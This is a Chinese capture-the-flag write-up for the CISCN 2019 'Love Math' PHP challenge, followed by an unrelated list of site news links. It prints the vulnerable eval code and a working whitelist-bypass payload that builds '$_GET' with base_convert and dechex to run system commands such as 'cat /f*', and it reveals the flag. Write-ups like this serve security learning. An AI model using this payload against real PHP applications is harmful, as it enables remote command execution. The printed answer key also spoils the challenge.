[CISCN 2019 初赛]Love Math
打开题目便是一段代码?php error_reporting(0); //听说你很喜欢数学不知道你是否爱它胜过爱flag if(!isset($_GET[c])){ show_source(__FILE__); }else{ $content $_GET[c]; //如果没有在url中通过GET传参数c就显示当前PHP文件源代码否则将参数c的值赋给$content if (strlen($content) 80) { die(太长了不会算); } //但是$content的长度不能大于80 $blacklist [ , \t, \r, \n,\, , , \[, \]]; foreach ($blacklist as $blackitem) { //foreach是 PHP 的循环语句作用是逐个取出$blacklist数组中的元素并把当前元素赋值给变量$blackitem。 //遍历黑名单数组中的每一个禁止字符 if (preg_match(/ . $blackitem . /m, $content)) { die(请不要输入奇奇怪怪的字符); } //检查$content中的内容中是否包含禁止的字符如果包含就停止运行代码然后返回请不要输入奇奇怪怪的字符 } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh]; //白名单共有50个数学函数其中包含base_convert函数通过base_convert将数字转换为字符串 preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); //preg_match_all()会匹配所有符合规则的结果并把结果存入第三个参数$used_funcs中。 //如果$content abs(123) tan(45) - eval(xxx)那么$used_funcs[0]会得到[abs, tan, eval]。 foreach ($used_funcs[0] as $func) { //遍历$used_funcs[0]数组把当前遍历到的函数名赋值给变量$func。 if (!in_array($func, $whitelist)) { //in_array($func, $whitelist)PHP 内置函数检查$func是否存在于$whitelist数组中存在则返回true否则返回false。 die(请不要输入奇奇怪怪的函数); } } //帮你算出答案 eval(echo .$content.;); }我们可以利用动态函数调用白名单仅检查显式写出的函数名不检查动态生成的函数名所以我们可以利用base_convert函数将数字转换为字符串再调用该函数不能使用空格和引号我们可以使用括号和逗号来直接传递参数例如?cbase_convert(55490343972,10,36)(0)就是phpinfo(0)将十进制数55490343972 转换为三十六进制,在三十六进制中,数字超过 9 后会使用字母 A-Z 表示 10 到 35所以base_convert(55490343972,10,36)表示的就是phpinfohex2bin() 函数把十六进制值的字符串转换为 ASCII 字符,就可以通过构造字符串转换为GET传参格式所以我们可以先使用base_convert函数将hex2bin() 函数构造出来base_convert(37907361743,10,36) 表示的就是 hex2bin而hex2bin(5f474554) 转换完就是 _GET但是吧5f474554中存在以字母开头的子字符串f474554但是可以使用 dechex()函数将10进制数转换为16进制的数dechex(1598506324)就是等于5f474554所以_GET就等于base_convert(37907361743,10,36)(dechex(1598506324))这行的目的是绕过后端关键词过滤构造出$_GET这个超全局变量名$pi的值是_GET所以$$pi等价于$_GET我们可以通过c参数传递 “读取pi参数的逻辑”最终让代码去读取 URL 里独立的pi参数值所以payload?c$pibase_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})pisystempowls /在php中数组访问可以用{}来代替[],所以$_GET{pi}等价于$_GET[pi]所以$_GET[pi] system → $$pi{pi} system所以$_GET[pow] ls / → $$pi{pow} ls /所以($$pi{pi})($$pi{pow})就是 (system)(ls /)查看flag?c$pibase_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})pisystempowcat /f*flag{65b17e9b-884d-406e-8678-b89d4cdfb073}

相关新闻

[Godot] 通过AABB包围盒和射线法检测碰撞

[Godot] 通过AABB包围盒和射线法检测碰撞

前言 最近需要做鼠标选择单位的功能,所以给大家分享一下我是如何实现的,简单来说,是在鼠标点击后,通过我写的获取单位点集的方法,先通过AABB包围盒进行粗筛,然后再通过射线法进行精确判定,最后根…

2026/7/5 18:16:49 阅读更多 →
2026最新版 Anaconda 下载与安装全流程详解(超详细图文教程)

2026最新版 Anaconda 下载与安装全流程详解(超详细图文教程)

一、下载 首先,我们需要获取Anaconda的安装包。官方地址:Advance AI with Open Source | Anaconda 更新之后需要注册了,可以使用邮箱注册一下,如果不想注册的,我下面会放一个百度网盘的安装包地址:https:…

2026/7/2 23:48:40 阅读更多 →
基于Django的洗衣服务平台设计与实现

基于Django的洗衣服务平台设计与实现

前言着互联网技术的飞速发展,传统洗衣服务行业正逐步向线上转型。本文详细阐述了一个基于 Django 框架构建的洗衣服务平台的设计与实现过程。通过对洗衣服务业务流程的深入分析,确定了平台的功能需求和非功能需求。在此基础上,进行了系统的总…

2026/7/5 22:46:33 阅读更多 →

最新新闻

微信小程序反编译工具原理与实战:从.wxapkg解包到源码学习

微信小程序反编译工具原理与实战:从.wxapkg解包到源码学习

1. 项目概述:为什么我们需要一个“解构”小程序的工具? 如果你是一名前端开发者,或者对微信小程序的运行机制感到好奇,那么你一定遇到过这样的困境:看到一个设计精良、交互流畅的小程序,想学习它的实现思路…

2026/7/6 9:36:41 阅读更多 →
反序列化漏洞深度解析:从原理到实战攻防与内存马防御

反序列化漏洞深度解析:从原理到实战攻防与内存马防御

1. 项目概述:从一次真实的“内存马”攻击说起 去年,我参与了一次针对某大型企业Web应用的应急响应。攻击者并没有直接爆破密码或上传木马,而是通过一个看似无害的、用于传递用户会话状态的接口,发送了一段精心构造的数据。服务器在…

2026/7/6 9:36:41 阅读更多 →
文件上传漏洞攻防实战:从原理到CISP-PTE考点全解析

文件上传漏洞攻防实战:从原理到CISP-PTE考点全解析

1. 项目概述:从一次文件上传漏洞的实战复盘说起最近在复盘CISP-PTE认证的备考过程,发现文件上传这个考点几乎是每次渗透测试的“必考题”,也是很多安全从业者从理论走向实战的第一个突破口。很多人觉得文件上传漏洞不就是传个木马吗&#xff…

2026/7/6 9:34:39 阅读更多 →
AppScan 扫描结果分析:5步法高效验证与处理100+个潜在漏洞

AppScan 扫描结果分析:5步法高效验证与处理100+个潜在漏洞

AppScan扫描结果深度解析:从漏洞验证到修复落地的全流程指南当安全扫描工具弹出"发现100潜在漏洞"的警示时,开发团队的第一反应往往是头皮发麻。我曾见证过某金融项目团队面对AppScan生成的287页报告时的崩溃场景——安全工程师通宵标记出的&q…

2026/7/6 9:32:36 阅读更多 →
从OWASP指南到安全代码模板:Semgrep与Cookiecutter实战

从OWASP指南到安全代码模板:Semgrep与Cookiecutter实战

1. 项目概述:为什么我们需要“安全代码模板”?在应用安全领域,我们常常面临一个尴尬的境地:安全规范文档浩如烟海,但开发者在编码时,却很难快速、准确地找到并应用那些最关键的安全防护措施。OWASP Cheat S…

2026/7/6 9:32:36 阅读更多 →
半导体材料参数 3 大误区:禁带宽度仅决定耐温?迁移率只影响速度?

半导体材料参数 3 大误区:禁带宽度仅决定耐温?迁移率只影响速度?

半导体材料参数 3 大误区:禁带宽度仅决定耐温?迁移率只影响速度?在半导体器件设计与选型过程中,工程师们常常陷入对关键参数的片面理解。禁带宽度、载流子迁移率等基础参数的真实工程意义,远比教科书上的定义复杂得多。…

2026/7/6 9:30:31 阅读更多 →

日新闻

H2 与 MySQL 单元测试兼容性:5 个关键 SQL 语句差异与规避方案

H2 与 MySQL 单元测试兼容性:5 个关键 SQL 语句差异与规避方案

H2与MySQL单元测试兼容性:5个关键SQL语句差异与规避方案1. 单元测试中的数据库兼容性挑战在Java开发领域,单元测试是保证代码质量的重要环节。当应用涉及数据库操作时,测试环境的搭建往往成为开发者的痛点。H2数据库因其轻量级、内存模式和快…

2026/7/6 0:01:17 阅读更多 →
Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘

Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘

Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘 【免费下载链接】rbtray A fork of RBTray from http://sourceforge.net/p/rbtray/code/. 项目地址: https://gitcode.com/gh_mirrors/rb/rbtray 你是否厌倦了Windows任务栏上密密麻麻的图标&…

2026/7/6 0:01:17 阅读更多 →
Visual C++ 运行时库一键安装终极指南:告别DLL缺失烦恼

Visual C++ 运行时库一键安装终极指南:告别DLL缺失烦恼

Visual C 运行时库一键安装终极指南:告别DLL缺失烦恼 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否曾经遇到过这样的情况:下载了…

2026/7/6 0:05:19 阅读更多 →

周新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱,支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/6 8:11:50 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里,参与了关于混合后量子密码学的讨论,应付端点攻击找茬的人,还参与留言板讨论后,发现“威胁模型”对多数人仍是陌生概念,且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/6 8:11:52 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”:我理解的渗透测试到底是什么?每次看到新闻里说某个大公司的数据被“黑”了,或者某个网站被攻击导致服务瘫痪,你是不是和我一样,心里会冒出两个念头:一是“这黑客真厉害”&#x…

2026/7/6 6:52:56 阅读更多 →

月新闻